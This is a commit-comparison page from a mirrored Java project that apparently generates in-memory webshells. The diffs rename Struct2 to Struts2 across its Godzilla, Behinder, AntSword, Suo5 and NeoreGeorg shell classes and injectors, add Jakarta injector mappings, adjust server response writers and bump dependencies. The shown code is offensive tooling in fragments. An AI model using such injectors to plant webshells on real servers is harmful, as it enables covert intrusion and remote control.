mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
009c70d8d6 | ||
|
|
fce2b11128 | ||
|
|
8b3f285002 | ||
|
|
0a9a68ee7f | ||
|
|
f0472d231b | ||
|
|
4061c61c29 | ||
|
|
8664e0d45a | ||
|
|
59dc5ba5fc | ||
|
|
01c939ee18 | ||
|
|
b0800f0a0b |
@@ -43,13 +43,13 @@ jobs:
|
|||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struct2"
|
- middleware: "struts2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
|
|||||||
@@ -41,9 +41,9 @@ jobs:
|
|||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||||
- middleware: "struct2"
|
- middleware: "struts2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.7.0"
|
version = "2.7.1"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
@@ -20,6 +20,6 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
public static final String Struct2 = "Struct2";
|
public static final String Struts2 = "Struts2";
|
||||||
public static final String Dubbo = "Dubbo";
|
public static final String Dubbo = "Dubbo";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -46,7 +46,7 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
register(Server.Struct2, Struct2::new);
|
register(Server.Struts2, Struts2::new);
|
||||||
register(Server.Dubbo, Dubbo::new);
|
register(Server.Dubbo, Dubbo::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
@@ -82,7 +82,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
.addShellClass(ACTION, GodzillaStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -107,7 +107,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.addShellClass(ACTION, BehinderStruct2Action.class)
|
.addShellClass(ACTION, BehinderStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -125,7 +125,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
.addShellClass(ACTION, AntSwordStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -162,7 +162,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
.addShellClass(ACTION, CommandStruts2Action.class)
|
||||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
.build());
|
.build());
|
||||||
@@ -190,7 +190,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.addShellClass(ACTION, Suo5Struct2Action.class)
|
.addShellClass(ACTION, Suo5Struts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||||
@@ -215,7 +215,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||||
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
.addShellClass(ACTION, Suo5v2Struts2Action.class)
|
||||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
@@ -241,7 +241,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||||
|
|||||||
+3
-3
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.struct2;
|
package com.reajason.javaweb.memshell.injector.struts2;
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -15,7 +15,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2ActionInjector {
|
public class Struts2ActionInjector {
|
||||||
|
|
||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
@@ -32,7 +32,7 @@ public class Struct2ActionInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public Struct2ActionInjector() {
|
public Struts2ActionInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -19,8 +19,11 @@ public class Bes extends AbstractServer {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, BesListenerInjector.class)
|
.addInjector(LISTENER, BesListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, BesListenerInjector.class)
|
||||||
.addInjector(FILTER, BesFilterInjector.class)
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, BesFilterInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
+3
-3
@@ -1,18 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
|
import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2 extends AbstractServer {
|
public class Struts2 extends AbstractServer {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(ShellType.ACTION, Struct2ActionInjector.class)
|
.addInjector(ShellType.ACTION, Struts2ActionInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -10,7 +10,7 @@ import java.net.URLClassLoader;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/02/18
|
* @since 2025/02/18
|
||||||
*/
|
*/
|
||||||
public class AntSwordStruct2Action {
|
public class AntSwordStruts2Action {
|
||||||
|
|
||||||
public static String pass;
|
public static String pass;
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
+1
-1
@@ -15,7 +15,7 @@ import java.util.Map;
|
|||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BehinderStruct2Action {
|
public class BehinderStruts2Action {
|
||||||
public static String pass;
|
public static String pass;
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
+1
-1
@@ -10,7 +10,7 @@ import java.util.Scanner;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class CommandStruct2Action {
|
public class CommandStruts2Action {
|
||||||
private static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
public String execute() throws Exception {
|
public String execute() throws Exception {
|
||||||
+1
-1
@@ -15,7 +15,7 @@ import java.net.URLClassLoader;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class GodzillaStruct2Action {
|
public class GodzillaStruts2Action {
|
||||||
private static String key;
|
private static String key;
|
||||||
private static String pass;
|
private static String pass;
|
||||||
private static String md5;
|
private static String md5;
|
||||||
+1
-1
@@ -18,7 +18,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* <p>
|
* <p>
|
||||||
* key: key
|
* key: key
|
||||||
*/
|
*/
|
||||||
public class NeoreGeorgStruct2Action {
|
public class NeoreGeorgStruts2Action {
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
|
|
||||||
+4
-4
@@ -16,7 +16,7 @@ import java.util.HashMap;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
public static HashMap addrs = collectAddr();
|
public static HashMap addrs = collectAddr();
|
||||||
@@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
|||||||
InputStream gInStream;
|
InputStream gInStream;
|
||||||
OutputStream gOutStream;
|
OutputStream gOutStream;
|
||||||
|
|
||||||
public Suo5Struct2Action() {
|
public Suo5Struts2Action() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Suo5Struct2Action(InputStream in, OutputStream out) {
|
public Suo5Struts2Action(InputStream in, OutputStream out) {
|
||||||
this.gInStream = in;
|
this.gInStream = in;
|
||||||
this.gOutStream = out;
|
this.gOutStream = out;
|
||||||
}
|
}
|
||||||
@@ -268,7 +268,7 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
|||||||
|
|
||||||
Thread t = null;
|
Thread t = null;
|
||||||
try {
|
try {
|
||||||
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
|
Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
readReq(reqInputStream, scOutStream);
|
readReq(reqInputStream, scOutStream);
|
||||||
+2
-2
@@ -14,11 +14,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/9
|
* @since 2025/12/9
|
||||||
*/
|
*/
|
||||||
public class Suo5v2Struct2Action {
|
public class Suo5v2Struts2Action {
|
||||||
private static Class<?> suo5V2Class;
|
private static Class<?> suo5V2Class;
|
||||||
private static String suo5V2GZipBase64;
|
private static String suo5V2GZipBase64;
|
||||||
|
|
||||||
public Suo5v2Struct2Action() {
|
public Suo5v2Struts2Action() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public void execute() throws Exception {
|
public void execute() throws Exception {
|
||||||
+2
-2
@@ -106,8 +106,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
return WebLogicWriter.class;
|
return WebLogicWriter.class;
|
||||||
case Server.Apusic:
|
case Server.Apusic:
|
||||||
return ApusicWriter.class;
|
return ApusicWriter.class;
|
||||||
case Server.Struct2:
|
case Server.Struts2:
|
||||||
return Struct2Writer.class;
|
return Struts2Writer.class;
|
||||||
default:
|
default:
|
||||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import java.util.Set;
|
|||||||
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
||||||
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
||||||
* 额外需要注意:
|
* 额外需要注意:
|
||||||
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
* 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
||||||
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
||||||
*
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+2
-2
@@ -11,10 +11,10 @@ import java.lang.reflect.Method;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2Writer {
|
public class Struts2Writer {
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
public Struct2Writer() {
|
public Struts2Writer() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -44,8 +44,12 @@ public class TomcatWriter {
|
|||||||
try {
|
try {
|
||||||
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
|
||||||
} catch (NoSuchFieldException ignored) {
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
try {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global");
|
||||||
|
}catch (NoSuchFieldException ignored2) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
|
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
|
||||||
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
|
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
|
||||||
try {
|
try {
|
||||||
|
|||||||
+7
-1
@@ -27,9 +27,15 @@ public class TongWebWriter {
|
|||||||
String threadName = thread.getName();
|
String threadName = thread.getName();
|
||||||
if (threadName.contains("Poller") // TongWeb6
|
if (threadName.contains("Poller") // TongWeb6
|
||||||
|| threadName.contains("Acceptor") // TongWeb7
|
|| threadName.contains("Acceptor") // TongWeb7
|
||||||
|
|| threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9
|
||||||
) {
|
) {
|
||||||
try {
|
try {
|
||||||
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
Object requestGroupInfo = null;
|
||||||
|
try {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
||||||
|
} catch (NoSuchFieldException ignored1) {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global");
|
||||||
|
}
|
||||||
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
|
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
|
||||||
for (Object processor : processors) {
|
for (Object processor : processors) {
|
||||||
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
|
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
|
||||||
|
|||||||
+10
-10
@@ -1,5 +1,5 @@
|
|||||||
[versions]
|
[versions]
|
||||||
asm = "9.9.1"
|
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
||||||
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
||||||
bcel = "5.2"
|
bcel = "5.2"
|
||||||
javax-servlet-api = "3.0.1"
|
javax-servlet-api = "3.0.1"
|
||||||
@@ -15,21 +15,21 @@ alibaba-dubbo = "2.6.12"
|
|||||||
apache-dubbo = "2.7.6"
|
apache-dubbo = "2.7.6"
|
||||||
tomcat = "8.5.85"
|
tomcat = "8.5.85"
|
||||||
|
|
||||||
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||||
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||||
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
||||||
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||||
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||||
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||||
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||||
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
||||||
|
|
||||||
mockito = "5.21.0"
|
mockito = "5.21.0"
|
||||||
hamcrest = "3.0"
|
hamcrest = "3.0"
|
||||||
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
junit-jupiter = "5.14.4" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
||||||
junit-pioneer = "2.3.0"
|
junit-pioneer = "2.3.0"
|
||||||
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
junit-platform = "1.14.4" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
||||||
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
testcontainers = "2.0.5" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||||
|
|
||||||
[libraries]
|
[libraries]
|
||||||
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
|
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
|
||||||
@@ -74,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
|
|||||||
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
||||||
|
|
||||||
[plugins]
|
[plugins]
|
||||||
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
|
lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
|
||||||
shadow = { id = "com.gradleup.shadow", version = "9.3.1" }
|
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
|
||||||
@@ -16,7 +16,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||||
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
|
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
